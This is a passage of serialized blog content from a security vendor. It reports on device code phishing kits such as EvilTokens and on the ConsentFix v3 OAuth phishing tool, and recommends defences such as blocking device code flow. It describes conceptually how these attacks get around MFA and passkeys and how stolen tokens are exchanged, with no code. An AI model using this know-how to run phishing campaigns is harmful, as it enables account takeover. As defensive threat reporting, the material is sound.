clusters",{"data":11052,"marks":11053,"value":11054,"nodeType":503},{},[]," tracked using device code phishing techniques, more ",{"data":11056,"content":11058,"nodeType":795},{"uri":11057},"https:\u002F\u002Fwww.bleepingcomputer.com\u002Fnews\u002Fsecurity\u002Fhackers-target-microsoft-entra-accounts-in-device-code-vishing-attacks\u002F",[11059],{"data":11060,"marks":11061,"value":11063,"nodeType":503},{},[11062],{"type":803},"criminal operations linked to SLH",{"data":11065,"marks":11066,"value":11067,"nodeType":503},{},[],", and ",{"data":11069,"content":11071,"nodeType":795},{"uri":11070},"https:\u002F\u002Fnewtonpaul.com\u002Fblog\u002Fdevice-code-phish-update\u002F",[11072],{"data":11073,"marks":11074,"value":11076,"nodeType":503},{},[11075],{"type":803},"hundreds of organizations being targeted via PhaaS architecture,",{"data":11078,"marks":11079,"value":11080,"nodeType":503},{},[]," which looks to be the same campaign as the recently uncovered EvilTokens PhaaS reported by ",{"data":11082,"content":11083,"nodeType":795},{"uri":4037},[11084],{"data":11085,"marks":11086,"value":11088,"nodeType":503},{},[11087],{"type":803},"Huntress",{"data":11090,"marks":11091,"value":11092,"nodeType":503},{},[]," (featuring abuse of the Railway PaaS platform). ",{"data":11094,"content":11098,"nodeType":714},{"target":11095},{"sys":11096},{"id":11097,"type":719,"linkType":720},"3WLt6qLCK8CSwr0QZxZiMv",[],{"data":11100,"content":11101,"nodeType":730},{},[],{"data":11103,"content":11104,"nodeType":660},{},[11105],{"data":11106,"marks":11107,"value":11109,"nodeType":503},{},[11108],{"type":667},"What we’re seeing in the wild",{"data":11111,"content":11112,"nodeType":670},{},[11113],{"data":11114,"marks":11115,"value":11116,"nodeType":503},{},[],"As mentioned, we’ve also seen a huge spike in device code phishing activity this year, with multiple kits, page designs, and lure types. We’ve now identified 14+ distinct kits in circulation in the wild, with EvilTokens being the most prevalent. It’s clear that attackers are both spinning up their own kits and creative derivatives of others — we’ve seen kits that are visually similar to EvilTokens (close enough to be clones or forks) but with very different backends, for example AWS, Digital Ocean, 2cloud, and more. ",{"data":11118,"content":11122,"nodeType":714},{"target":11119},{"sys":11120},{"id":11121,"type":719,"linkType":720},"nJCbTw85GKXdqrlIkzZwi",[],{"data":11124,"content":11125,"nodeType":730},{},[],{"data":11127,"content":11128,"nodeType":734},{},[11129],{"data":11130,"marks":11131,"value":11133,"nodeType":503},{},[11132],{"type":667},"“ANTIBOT” (EvilTokens)",{"data":11135,"content":11136,"nodeType":670},{},[11137,11140,11147,11150,11159,11163,11171],{"data":11138,"marks":11139,"value":21,"nodeType":503},{},[],{"data":11141,"content":11142,"nodeType":795},{"uri":4037},[11143],{"data":11144,"marks":11145,"value":11088,"nodeType":503},{},[11146],{"type":803},{"data":11148,"marks":11149,"value":3571,"nodeType":503},{},[],{"data":11151,"content":11153,"nodeType":795},{"uri":11152},"https:\u002F\u002Fblog.sekoia.io\u002Fnew-widespread-eviltokens-kit-device-code-phishing-as-a-service-part-1\u002F",[11154],{"data":11155,"marks":11156,"value":11158,"nodeType":503},{},[11157],{"type":803},"Sekoia",{"data":11160,"marks":11161,"value":11162,"nodeType":503},{},[],", and researcher ",{"data":11164,"content":11165,"nodeType":795},{"uri":11070},[11166],{"data":11167,"marks":11168,"value":11170,"nodeType":503},{},[11169],{"type":803},"Paul Newton",{"data":11172,"marks":11173,"value":11174,"nodeType":503},{},[]," have already done a great job of providing IOCs for the recent EvilTokens activity spike, including multiple backend Railway IPs in authentication events. ",{"data":11176,"content":11180,"nodeType":714},{"target":11177},{"sys":11178},{"id":11179,"type":719,"linkType":720},"1XNviq5OvMf5TEAc59F6g5",[],{"data":11182,"content":11183,"nodeType":670},{},[11184],{"data":11185,"marks":11186,"value":11187,"nodeType":503},{},[],"Beyond the most widely observed implementation featuring a Cloudflare Workers frontend and Railway backend for authentication, we’ve also tracked additional versions of EvilTokens in circulation since January 2026 (many of which remain live along with the current “production” version of the kit). ",{"data":11189,"content":11190,"nodeType":670},{},[11191],{"data":11192,"marks":11193,"value":11194,"nodeType":503},{},[],"You can see an evolution of the kit in the videos and screenshots below, from early precursors seen in mid-January, the first mentions of ANTIBOT in the page code in late-January, the parallel development of a “Courts Access” fork that lacks the ANTIBOT references, and finally production EvilTokens in February. One of the key threads between the versions is the presence of a generateFallbackCode() JS function and use of a \u002Fgenerate-codes API call. ",{"data":11196,"content":11197,"nodeType":670},{},[11198],{"data":11199,"marks":11200,"value":11201,"nodeType":503},{},[],"Early implementations were quite different, for example using ScrapingBee to generate the displayed code, and varied hosting on vercel, fastly, edgeone, and others. ",{"data":11203,"content":11204,"nodeType":670},{},[11205],{"data":11206,"marks":11207,"value":11208,"nodeType":503},{},[],"After initially appearing on custom domains, the production version is now predominantly hosted on Cloudflare Workers, as per the broader tracking of the campaign. The descriptive HTML comments around ANTIBOT functions have also been removed in later versions. ",{"data":11210,"content":11211,"nodeType":670},{},[11212,11216,11224],{"data":11213,"marks":11214,"value":11215,"nodeType":503},{},[],"The production version of EvilTokens showcases common ",{"data":11217,"content":11218,"nodeType":795},{"uri":4849},[11219],{"data":11220,"marks":11221,"value":11223,"nodeType":503},{},[11222],{"type":803},"detection evasion techniques",{"data":11225,"marks":11226,"value":11227,"nodeType":503},{},[]," we've come to associate with PhaaS kits in the AiTM space — using multiple redirects through trusted sites before serving the malicious page, using bot protection to block security tools from analyzing the page, and so on. It also uses a pop-up window for the device code entry rather than a redirect, reducing the friction for the victim (it looks pretty convincing, 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The server responds with a device_code (used for polling), a user_code, a verification_uri, an expires_in value, and a polling interval. The user visits the URL, enters the code and approves the request. Meanwhile, the device polls the token endpoint. Once approved, the server returns an access token, a refresh token (if offline_access was requested), and an ID token (if openid was included). ",{"data":13310,"marks":13311,"value":13313,"nodeType":503},{},[13312],{"type":667},"The attacker now has API access to the victim's account. ",{"data":13315,"content":13316,"nodeType":670},{},[13317],{"data":13318,"marks":13319,"value":13320,"nodeType":503},{},[],"Broadly, this gives the attacker a comparable level of control to a “normal” phishing attack (with conditions based on the scopes granted and specific app being targeted) while API access grants additional capabilities beyond standard browser sessions. When combined with other techniques, this access can be exchanged to open normal browser app sessions and access SSO connected apps.",{"data":13322,"content":13326,"nodeType":714},{"target":13323},{"sys":13324},{"id":13325,"type":719,"linkType":720},"4WtQR2xsE236yoyhSXj58Z",[],{"data":13328,"content":13332,"nodeType":714},{"target":13329},{"sys":13330},{"id":13331,"type":719,"linkType":720},"1x7Lip7JdY2xlHKKurT7qJ",[],{"data":13334,"content":13335,"nodeType":670},{},[13336],{"data":13337,"marks":13338,"value":13339,"nodeType":503},{},[],"At this point, you can achieve a number of objectives both inside the app ecosystem and across SSO connected apps — e.g. data theft, disruption, and ultimately extortion.",{"data":13341,"content":13342,"nodeType":670},{},[13343,13347,13352,13356],{"data":13344,"marks":13345,"value":13346,"nodeType":503},{},[],"Critically, the initial request to generate a device code is typically ",{"data":13348,"marks":13349,"value":13351,"nodeType":503},{},[13350],{"type":667},"unauthenticated",{"data":13353,"marks":13354,"value":13355,"nodeType":503},{},[]," across all providers — ",{"data":13357,"marks":13358,"value":13360,"nodeType":503},{},[13359],{"type":667},"anyone can generate one, from any machine, without proving any relationship to the target organization.",{"data":13362,"content":13363,"nodeType":670},{},[13364,13368,13373],{"data":13365,"marks":13366,"value":13367,"nodeType":503},{},[],"So, the attacker has to deliver a set of instructions via a phishing channel (e.g. email, social media DM, corp IM platform, and so on) with a device code that they have generated. The victim then enters this code on the ",{"data":13369,"marks":13370,"value":13372,"nodeType":503},{},[13371],{"type":667},"legitimate device code login page",{"data":13374,"marks":13375,"value":13376,"nodeType":503},{},[]," for that app and issues the tokens to the attacker.",{"data":13378,"content":13382,"nodeType":714},{"target":13379},{"sys":13380},{"id":13381,"type":719,"linkType":720},"1txUYuQjH9FlbDGTo8AbZB",[],{"data":13384,"content":13385,"nodeType":730},{},[],{"data":13387,"content":13388,"nodeType":660},{},[13389],{"data":13390,"marks":13391,"value":13393,"nodeType":503},{},[13392],{"type":667},"Why device code phishing is so dangerous",{"data":13395,"content":13396,"nodeType":734},{},[13397],{"data":13398,"marks":13399,"value":13401,"nodeType":503},{},[13400],{"type":667},"Device code phishing bypasses authentication controls (including passkeys)",{"data":13403,"content":13404,"nodeType":670},{},[13405,13409,13414,13418],{"data":13406,"marks":13407,"value":13408,"nodeType":503},{},[],"A device code phishing attack ",{"data":13410,"marks":13411,"value":13413,"nodeType":503},{},[13412],{"type":667},"cannot be prevented with authentication controls",{"data":13415,"marks":13416,"value":13417,"nodeType":503},{},[],". This includes all forms of MFA and ",{"data":13419,"marks":13420,"value":13422,"nodeType":503},{},[13421],{"type":667},"even “phishing-resistant” authentication methods such as passkeys. ",{"data":13424,"content":13425,"nodeType":670},{},[13426,13431,13435,13440],{"data":13427,"marks":13428,"value":13430,"nodeType":503},{},[13429],{"type":667},"The device code authorization is effectively performed post-authentication. ",{"data":13432,"marks":13433,"value":13434,"nodeType":503},{},[],"If you already have an active session in your browser, entering the device code and selecting your account from a drop-down menu is all that's needed. ",{"data":13436,"marks":13437,"value":13439,"nodeType":503},{},[13438],{"type":667},"No password or MFA required. ",{"data":13441,"marks":13442,"value":13443,"nodeType":503},{},[],"You can see an example in the video below.",{"data":13445,"content":13448,"nodeType":714},{"target":13446},{"sys":13447},{"id":12377,"type":719,"linkType":720},[],{"data":13450,"content":13451,"nodeType":670},{},[13452],{"data":13453,"marks":13454,"value":13455,"nodeType":503},{},[],"Even if you do have to sign in again (because you're not already signed in for some reason), the attack still works because it isn't targeting the login — it's targeting the authorization layer instead.",{"data":13457,"content":13458,"nodeType":670},{},[13459],{"data":13460,"marks":13461,"value":13462,"nodeType":503},{},[],"This is what makes device code phishing different to other standard phishing methods like AiTM phishing (and arguably even more effective in environments with strict identity control enforcement). ",{"data":13464,"content":13465,"nodeType":734},{},[13466],{"data":13467,"marks":13468,"value":13470,"nodeType":503},{},[13469],{"type":667},"Device code logins are a feature, not a vulnerability, making attacks difficult to block",{"data":13472,"content":13473,"nodeType":670},{},[13474],{"data":13475,"marks":13476,"value":13477,"nodeType":503},{},[],"Device code authorization is a legitimate mechanism regularly used in enterprise environments, particularly for CLI logins. Tools like Azure CLI, GitHub CLI, and AWS CLI all use (or have used) the device code flow as a primary or fallback authentication method. This creates a dual problem for defenders. ",{"data":13479,"content":13480,"nodeType":670},{},[13481],{"data":13482,"marks":13483,"value":13484,"nodeType":503},{},[],"First, the phishing attack happens entirely on a legitimate site — there's no fake login page, no malicious payload to scan for, and the URL in the browser is genuine. Since there's no traditional phishing content being delivered, these attacks are more resistant to detection by email and network security tools.",{"data":13486,"content":13487,"nodeType":670},{},[13488],{"data":13489,"marks":13490,"value":13491,"nodeType":503},{},[],"Second, the widespread legitimate use of device code flow — particularly among developers and technical users — normalizes the experience of entering device codes. A phishing lure asking them to do the same thing is indistinguishable from a legitimate IT request. And for non-technical users, this experience isn't much different to, for example, entering a code sent via email or authenticator app. ",{"data":13493,"content":13494,"nodeType":734},{},[13495],{"data":13496,"marks":13497,"value":13499,"nodeType":503},{},[13498],{"type":667},"Multiple apps are vulnerable, with different risk profiles",{"data":13501,"content":13502,"nodeType":670},{},[13503],{"data":13504,"marks":13505,"value":13506,"nodeType":503},{},[],"Various apps implement the device code flow, each with different levels of control and default security, but the risk is not uniform across platforms. ",{"data":13508,"content":13509,"nodeType":781},{},[13510,13525,13539],{"data":13511,"content":13512,"nodeType":785},{},[13513],{"data":13514,"content":13515,"nodeType":670},{},[13516,13521],{"data":13517,"marks":13518,"value":13520,"nodeType":503},{},[13519],{"type":667},"Google Workspace ",{"data":13522,"marks":13523,"value":13524,"nodeType":503},{},[],"is a significantly lower-risk target because Google explicitly limits which scopes are available to the device code flow — Gmail, Calendar, and most Workspace APIs are simply unavailable through this mechanism. ",{"data":13526,"content":13527,"nodeType":785},{},[13528],{"data":13529,"content":13530,"nodeType":670},{},[13531,13535],{"data":13532,"marks":13533,"value":10996,"nodeType":503},{},[13534],{"type":667},{"data":13536,"marks":13537,"value":13538,"nodeType":503},{},[]," offers the broadest attack surface due to unrestricted scopes, reusable first-party client IDs, and the FOCI\u002FPRT escalation paths. ",{"data":13540,"content":13541,"nodeType":785},{},[13542],{"data":13543,"content":13544,"nodeType":670},{},[13545,13549,13554],{"data":13546,"marks":13547,"value":13548,"nodeType":503},{},[],"Apps like ",{"data":13550,"marks":13551,"value":13553,"nodeType":503},{},[13552],{"type":667},"GitHub",{"data":13555,"marks":13556,"value":13557,"nodeType":503},{},[]," sit in between — broad scopes are available (including full repository access), but the attacker must control their own OAuth app and the victim sees an explicit consent screen. ",{"data":13559,"content":13563,"nodeType":714},{"target":13560},{"sys":13561},{"id":13562,"type":719,"linkType":720},"ejNSC76jge1p1zzz9wwiG",[],{"data":13565,"content":13566,"nodeType":730},{},[],{"data":13568,"content":13569,"nodeType":660},{},[13570],{"data":13571,"marks":13572,"value":13574,"nodeType":503},{},[13573],{"type":667},"Security recommendations",{"data":13576,"content":13577,"nodeType":670},{},[13578],{"data":13579,"marks":13580,"value":13581,"nodeType":503},{},[],"Security teams need to consider the risk posed by device code phishing across multiple apps where device code authorization grants are common, particularly for developers and technical users. ",{"data":13583,"content":13584,"nodeType":670},{},[13585],{"data":13586,"marks":13587,"value":13588,"nodeType":503},{},[],"In an ideal world, you would simply block device code logins. But this can’t be done without causing serious disruption in some environments, while some apps simply don’t provide the tools required to do so. For example, device code is the default CLI sign-in method for GitHub. Developer-heavy organizations are likely to encounter higher levels of legitimate use.",{"data":13590,"content":13591,"nodeType":670},{},[13592,13596,13605,13609,13614,13618,13623,13627,13632],{"data":13593,"marks":13594,"value":13595,"nodeType":503},{},[],"Microsoft arguably offers the strongest control options (other than Google, who negate it right out of the gate), though they do require a fair amount of work. ",{"data":13597,"content":13599,"nodeType":795},{"uri":13598},"https:\u002F\u002Ftechcommunity.microsoft.com\u002Fblog\u002Fmicrosoft-entra-blog\u002Fnew-microsoft-managed-policies-to-raise-your-identity-security-posture\u002F4286758",[13600],{"data":13601,"marks":13602,"value":13604,"nodeType":503},{},[13603],{"type":803},"Microsoft now explicitly recommends",{"data":13606,"marks":13607,"value":13608,"nodeType":503},{},[]," blocking device code flow for tenants that haven't used it in the past 25 days. Their guidance is to create a custom CA policy: target relevant users, set the ",{"data":13610,"marks":13611,"value":13613,"nodeType":503},{},[13612],{"type":667},"Authentication Flows",{"data":13615,"marks":13616,"value":13617,"nodeType":503},{},[]," condition to block ",{"data":13619,"marks":13620,"value":13622,"nodeType":503},{},[13621],{"type":667},"Device Code Flow",{"data":13624,"marks":13625,"value":13626,"nodeType":503},{},[],", and set the grant control to ",{"data":13628,"marks":13629,"value":13631,"nodeType":503},{},[13630],{"type":667},"Block Access",{"data":13633,"marks":13634,"value":13635,"nodeType":503},{},[],". Deploy in report-only mode first to identify any legitimate device code usage, then enforce with narrow exceptions.",{"data":13637,"content":13641,"nodeType":714},{"target":13638},{"sys":13639},{"id":13640,"type":719,"linkType":720},"mQIj2o9xRzkZYKNmanB25",[],{"data":13643,"content":13644,"nodeType":670},{},[13645],{"data":13646,"marks":13647,"value":13648,"nodeType":503},{},[],"For other apps, you’re mainly limited to monitoring and response. Ensuring you’re getting authentication logs for these apps is vital, and searching for unusual access patterns (e.g. unusual login protocols, having different IPs for the authorization grant and subsequent account activity). ",{"data":13650,"content":13651,"nodeType":730},{},[],{"data":13653,"content":13654,"nodeType":660},{},[13655],{"data":13656,"marks":13657,"value":13659,"nodeType":503},{},[13658],{"type":667},"How Push Security can help",{"data":13661,"content":13662,"nodeType":670},{},[13663],{"data":13664,"marks":13665,"value":13666,"nodeType":503},{},[],"Push customers can use our browser-based capabilities to overcome the limitations of app-level controls and detect, intercept, and shut down attacks in real time. ",{"data":13668,"content":13669,"nodeType":670},{},[13670],{"data":13671,"marks":13672,"value":13673,"nodeType":503},{},[],"Our research team is already tracking multiple device code phishing campaigns and toolkits, including the EvilTokens kit. Blocking controls are already in place to prevent customers from interacting with malicious pages that match our detections for these new toolkits, ensuring that these pages can be identified and blocked in real time regardless of the infrastructure. ",{"data":13675,"content":13676,"nodeType":670},{},[13677,13681,13690],{"data":13678,"marks":13679,"value":13680,"nodeType":503},{},[],"Using Push you can also ",{"data":13682,"content":13684,"nodeType":795},{"uri":13683},"https:\u002F\u002Fpushsecurity.com\u002Fhelp\u002Fcan-i-use-push-to-help-protect-against-device-code-phishing-scenarios\u002F",[13685],{"data":13686,"marks":13687,"value":13689,"nodeType":503},{},[13688],{"type":803},"configure in-browser warnings",{"data":13691,"marks":13692,"value":13693,"nodeType":503},{},[]," whenever a user accesses a URL used for device code logins. This provides universal, last-mile protection against even ‘zero-day’ device code phishing attacks using previously unidentified toolkits.  ",{"data":13695,"content":13699,"nodeType":714},{"target":13696},{"sys":13697},{"id":13698,"type":719,"linkType":720},"3JsbGaOKSS3INzBUJpoh1W",[],{"data":13701,"content":13702,"nodeType":670},{},[13703],{"data":13704,"marks":13705,"value":13706,"nodeType":503},{},[],"When a user visits those URLs, Push will also emit a webhook event that the banner was shown and acknowledged. If a user opts to proceed, you can treat this as a high-fidelity alert for your security team to investigate, providing app-agnostic telemetry that may not already be provided in your logs from that particular vendor. You can also simply use Push to block users from accessing device login pages if you’re confident that disruption won’t be caused. ",{"data":13708,"content":13709,"nodeType":734},{},[13710],{"data":13711,"marks":13712,"value":13714,"nodeType":503},{},[13713],{"type":667},"Learn more about Push",{"data":13716,"content":13717,"nodeType":670},{},[13718],{"data":13719,"marks":13720,"value":13721,"nodeType":503},{},[],"Push Security's browser-based security platform detects and blocks browser-based attacks like AiTM phishing, credential stuffing, malicious browser extensions, ClickFix, and session hijacking. You don't need to wait until it all goes wrong either — you can use Push to proactively find and fix vulnerabilities across the apps that your employees use, like ghost logins, SSO coverage gaps, MFA gaps, vulnerable passwords, and more to harden your attack surface.",{"data":13723,"content":13724,"nodeType":670},{},[13725,13729,13738,13741,13750,13754,13761],{"data":13726,"marks":13727,"value":13728,"nodeType":503},{},[],"To learn more about Push, ",{"data":13730,"content":13732,"nodeType":795},{"uri":13731},"https:\u002F\u002Fpushsecurity.com\u002Fresources\u002Fproduct-brochure",[13733],{"data":13734,"marks":13735,"value":13737,"nodeType":503},{},[13736],{"type":803},"check out our latest product overview",{"data":13739,"marks":13740,"value":3571,"nodeType":503},{},[],{"data":13742,"content":13744,"nodeType":795},{"uri":13743},"https:\u002F\u002Fpushsecurity.com\u002Fproduct-demo\u002F",[13745],{"data":13746,"marks":13747,"value":13749,"nodeType":503},{},[13748],{"type":803},"view our demo library",{"data":13751,"marks":13752,"value":13753,"nodeType":503},{},[],", or ",{"data":13755,"content":13756,"nodeType":795},{"uri":2986},[13757],{"data":13758,"marks":13759,"value":2989,"nodeType":503},{},[13760],{"type":803},{"data":13762,"marks":13763,"value":2577,"nodeType":503},{},[],"Device code phishing attacks have skyrocketed: here’s what you need to know","Device code phishing is seeing a huge spike in adoption in 2026, enabling attackers to steal access tokens while bypassing standard access controls.","2026-04-04T00:00:00.000Z",{"items":13768},[13769,13771],{"sys":13770,"name":3005},{"id":3004},{"sys":13772,"name":3009},{"id":3008},{"items":13774},[13775],{"fullName":7861,"firstName":7862,"jobTitle":7863,"profilePicture":13776},{"url":7865},{"__typename":2126,"sys":13778,"content":13780,"title":14341,"synopsis":14342,"hashTags":60,"publishedDate":14343,"slug":14344,"tagsCollection":14345,"authorsCollection":14351},{"id":13779},"27Z1JlNtpGTPyarh393sHK",{"json":13781},{"data":13782,"content":13783,"nodeType":656},{},[13784,13802,13809,13815,13822,13828,13848,13854,13860,13863,13871,13891,13897,13903,13909,13926,13933,13941,13948,13955,13962,13965,13973,13991,14014,14019,14025,14032,14039,14046,14049,14057,14075,14108,14115,14121,14124,14132,14139,14142,14149,14156,14164,14183,14203,14210,14216,14224,14231,14238,14241,14248,14255,14261,14278,14284,14291,14298,14305],{"data":13785,"content":13786,"nodeType":670},{},[13787,13791,13798],{"data":13788,"marks":13789,"value":13790,"nodeType":503},{},[],"In December 2025, we uncovered a state-sponsored campaign linked to Russian state-affiliated APT29 that used a new technique we called ",{"data":13792,"content":13793,"nodeType":795},{"uri":2558},[13794],{"data":13795,"marks":13796,"value":1739,"nodeType":503},{},[13797],{"type":803},{"data":13799,"marks":13800,"value":13801,"nodeType":503},{},[],". This technique merged ClickFix-style social engineering with OAuth consent phishing to hijack Microsoft accounts. Effectively, ConsentFix is a browser-native attack that results in account takeover, without the downside of needing to touch the endpoint like typical ClickFix (really, the point that it's most likely to be detected and blocked). ",{"data":13803,"content":13804,"nodeType":670},{},[13805],{"data":13806,"marks":13807,"value":13808,"nodeType":503},{},[],"The quick 101 is that victims are tricked into copy-and-pasting a legitimate Microsoft URL into the phishing page. This URL contains an OAuth authorization code that the attacker uses to sign in to a first-party Microsoft application like Azure CLI — specifically targeting apps with known Conditional Access exclusions. ",{"data":13810,"content":13814,"nodeType":714},{"target":13811},{"sys":13812},{"id":13813,"type":719,"linkType":720},"7s4kF5CUFUmdkhpzuwNalX",[],{"data":13816,"content":13817,"nodeType":670},{},[13818],{"data":13819,"marks":13820,"value":13821,"nodeType":503},{},[],"At the end of the attack chain, the attacker is effectively granted API access to the victim's Entra account, while sidestepping MFA (even passkeys), device compliance checks, and in some cases conditional access controls (depending on the application ID targeted by the attacker). ",{"data":13823,"content":13827,"nodeType":714},{"target":13824},{"sys":13825},{"id":13826,"type":719,"linkType":720},"IMtJXMWeaIbRsWxuQ1CaS",[],{"data":13829,"content":13830,"nodeType":670},{},[13831,13835,13844],{"data":13832,"marks":13833,"value":13834,"nodeType":503},{},[],"It didn’t take long for security researchers to jump on this new technique. Lots of contributors rallied round the security recommendations (which we covered in a ",{"data":13836,"content":13838,"nodeType":795},{"uri":13837},"https:\u002F\u002Fpushsecurity.com\u002Fblog\u002Fconsentfix-debrief\u002F",[13839],{"data":13840,"marks":13841,"value":13843,"nodeType":503},{},[13842],{"type":803},"follow-up blog post",{"data":13845,"marks":13846,"value":13847,"nodeType":503},{},[],") but the most notable contribution came from John Hammond, who took the attacker’s implementation and said “I can do better”. His v2 replaced a somewhat clunky implementation with a slick drag-and-drop function. But now, attackers have taken it one step further.",{"data":13849,"content":13853,"nodeType":714},{"target":13850},{"sys":13851},{"id":13852,"type":719,"linkType":720},"59tfJDRhGThKD48Wjg7uY2",[],{"data":13855,"content":13859,"nodeType":714},{"target":13856},{"sys":13857},{"id":13858,"type":719,"linkType":720},"6mEpyVD6f13ZttFmaBcxNm",[],{"data":13861,"content":13862,"nodeType":730},{},[],{"data":13864,"content":13865,"nodeType":660},{},[13866],{"data":13867,"marks":13868,"value":13870,"nodeType":503},{},[13869],{"type":667},"Introducing: ConsentFix v3",{"data":13872,"content":13873,"nodeType":670},{},[13874,13878,13887],{"data":13875,"marks":13876,"value":13877,"nodeType":503},{},[],"The latest development is that a member of the XSS criminal forum, a site strongly suspected to have ",{"data":13879,"content":13881,"nodeType":795},{"uri":13880},"https:\u002F\u002Fflare.io\u002Flearn\u002Fresources\u002Fblog\u002Fstate-of-the-dark-web-2026",[13882],{"data":13883,"marks":13884,"value":13886,"nodeType":503},{},[13885],{"type":803},"Russian state involvement",{"data":13888,"marks":13889,"value":13890,"nodeType":503},{},[],", has released a new tool “ConsentFix v3”, building on the v1 we saw in the wild, and John’s v2. ",{"data":13892,"content":13896,"nodeType":714},{"target":13893},{"sys":13894},{"id":13895,"type":719,"linkType":720},"4AW0UnBlIaXbIFZjy8ObY1",[],{"data":13898,"content":13902,"nodeType":714},{"target":13899},{"sys":13900},{"id":13901,"type":719,"linkType":720},"1b36XjqBpPx7wteBu6OA6h",[],{"data":13904,"content":13908,"nodeType":714},{"target":13905},{"sys":13906},{"id":13907,"type":719,"linkType":720},"4kbiWA3b096BAFGQuozPaK",[],{"data":13910,"content":13911,"nodeType":670},{},[13912,13916,13922],{"data":13913,"marks":13914,"value":13915,"nodeType":503},{},[],"It looks like broader cybercriminals are starting to take note of ConsentFix, and with the release of public tools like this one, it could be about to go mainstream — like ",{"data":13917,"content":13918,"nodeType":795},{"uri":3490},[13919],{"data":13920,"marks":13921,"value":3242,"nodeType":503},{},[],{"data":13923,"marks":13924,"value":13925,"nodeType":503},{},[]," has this year. ",{"data":13927,"content":13928,"nodeType":670},{},[13929],{"data":13930,"marks":13931,"value":13932,"nodeType":503},{},[],"Let’s take a closer look at some of the more interesting details of the ConsentFix v3 implementation before considering the bigger picture.  ",{"data":13934,"content":13935,"nodeType":734},{},[13936],{"data":13937,"marks":13938,"value":13940,"nodeType":503},{},[13939],{"type":667},"ConsentFix v3 under the hood",{"data":13942,"content":13943,"nodeType":670},{},[13944],{"data":13945,"marks":13946,"value":13947,"nodeType":503},{},[],"The first thing that jumps out is just how detailed this forum post is. It reads like a security vendor blog post. It walks through the key technical concepts that the reader needs to know, breaking down OAuth grants, consent phishing, refresh tokens, and FOCI (or 'Family of Client IDs' — basically, the feature that allows attackers to use a refresh token obtained for one Microsoft app to be exchanged for access tokens to other FOCI apps without re-authentication). It then walks through the history of ClickFix and ConsentFix before providing step-by-step guidance for users. ",{"data":13949,"content":13950,"nodeType":670},{},[13951],{"data":13952,"marks":13953,"value":13954,"nodeType":503},{},[],"ConsentFix v3 allows users to instrument the entire attack chain, enabling users to spin up ConsentFix infrastructure, create believable personas with which to interact with victims, craft and manage email campaigns, and automate the process of exchanging the captured OAuth token for session and refresh tokens to establish access to the compromised account. ",{"data":13956,"content":13957,"nodeType":670},{},[13958],{"data":13959,"marks":13960,"value":13961,"nodeType":503},{},[],"A combination of SaaS and open-source tools are used to perform the attack, including Cloudflare Workers for hosting, ZoomInfo for target identification, Dropbox for PDF hosting, and Pipedream as an exfiltration channel (effectively creating a webhook to automatically exchange the OAuth material in the URL for a refresh token). They also use hacker tools like SpecterPortal for post exploitation activity.",{"data":13963,"content":13964,"nodeType":730},{},[],{"data":13966,"content":13967,"nodeType":660},{},[13968],{"data":13969,"marks":13970,"value":13972,"nodeType":503},{},[13971],{"type":667},"Why attackers are turning to OAuth-based attacks",{"data":13974,"content":13975,"nodeType":670},{},[13976,13980,13987],{"data":13977,"marks":13978,"value":13979,"nodeType":503},{},[],"Attackers are increasingly turning to OAuth based techniques in 2026. Not only are “legit” OAuth connections being abused in supply chain attacks, but attacks targeting OAuth mechanisms have significantly increased with the rise of ",{"data":13981,"content":13982,"nodeType":795},{"uri":3490},[13983],{"data":13984,"marks":13985,"value":3242,"nodeType":503},{},[13986],{"type":803},{"data":13988,"marks":13989,"value":13990,"nodeType":503},{},[],". This is because:",{"data":13992,"content":13993,"nodeType":781},{},[13994,14004],{"data":13995,"content":13996,"nodeType":785},{},[13997],{"data":13998,"content":13999,"nodeType":670},{},[14000],{"data":14001,"marks":14002,"value":14003,"nodeType":503},{},[],"OAuth attacks defeat standard access controls (including passkeys)",{"data":14005,"content":14006,"nodeType":785},{},[14007],{"data":14008,"content":14009,"nodeType":670},{},[14010],{"data":14011,"marks":14012,"value":14013,"nodeType":503},{},[],"It’s very low friction, and less likely that users will identify it as phishing (see examples below)",{"data":14015,"content":14018,"nodeType":714},{"target":14016},{"sys":14017},{"id":13852,"type":719,"linkType":720},[],{"data":14020,"content":14024,"nodeType":714},{"target":14021},{"sys":14022},{"id":14023,"type":719,"linkType":720},"2WPb41lNRajdpt5pogQg8M",[],{"data":14026,"content":14027,"nodeType":670},{},[14028],{"data":14029,"marks":14030,"value":14031,"nodeType":503},{},[],"From the user’s perspective, these aren’t situations that users are trained to treat as suspicious. In one case, the victim copies a URL (or simply drag-and-drops a box on the page). In another, they enter a short passcode that’s visible on the page. ",{"data":14033,"content":14034,"nodeType":670},{},[14035],{"data":14036,"marks":14037,"value":14038,"nodeType":503},{},[],"Both are using pop-up windows that look very convincing — and point to legitimate Microsoft pages\u002FURLs. Even users scrutinizing the domain won’t see anything out of place. And as you can see, if the user is already signed into their Microsoft account in the browser, there’s no credential entry or MFA checks to pass through. Simply select your account from the drop down menu and … that’s it.",{"data":14040,"content":14041,"nodeType":670},{},[14042],{"data":14043,"marks":14044,"value":14045,"nodeType":503},{},[],"This unfamiliarity is the same reason that attacks like ClickFix have been so successful. In general, convincing social engineering — well crafted comms, legit-looking pages hosted on trusted sites — combined with unfamiliar payloads makes for a clever attack. And when these attacks play out entirely in the browser (circumventing endpoint controls) and sidestep identity controls, the impact is dialled up even further. ",{"data":14047,"content":14048,"nodeType":730},{},[],{"data":14050,"content":14051,"nodeType":660},{},[14052],{"data":14053,"marks":14054,"value":14056,"nodeType":503},{},[14055],{"type":667},"How ConsentFix and device code phishing overlap",{"data":14058,"content":14059,"nodeType":670},{},[14060,14064,14071],{"data":14061,"marks":14062,"value":14063,"nodeType":503},{},[],"It was only ever going to be a matter of time before ConsentFix was adopted by the mass market. But these things don’t always happen particularly fast. ",{"data":14065,"content":14066,"nodeType":795},{"uri":3490},[14067],{"data":14068,"marks":14069,"value":260,"nodeType":503},{},[14070],{"type":803},{"data":14072,"marks":14073,"value":14074,"nodeType":503},{},[]," is probably the best example of this — it’s been a known technique since 2021, but it took until this year to enter mainstream adoption. A big part of that has been the availability of criminal toolkits, and also the rise in AI-assisted capabilities for tool creation (clearly at play here too). The similarity with device code phishing doesn’t end there. ",{"data":14076,"content":14077,"nodeType":670},{},[14078,14082,14091,14095,14104],{"data":14079,"marks":14080,"value":14081,"nodeType":503},{},[],"Both ConsentFix and device code phishing are OAuth attacks. They both find ways of bypassing the standard login procedure (and controls) by targeting different authorization flows, but with a similar outcome and the same advantages to an attacker. Device code phishing exploits the device authorization grant 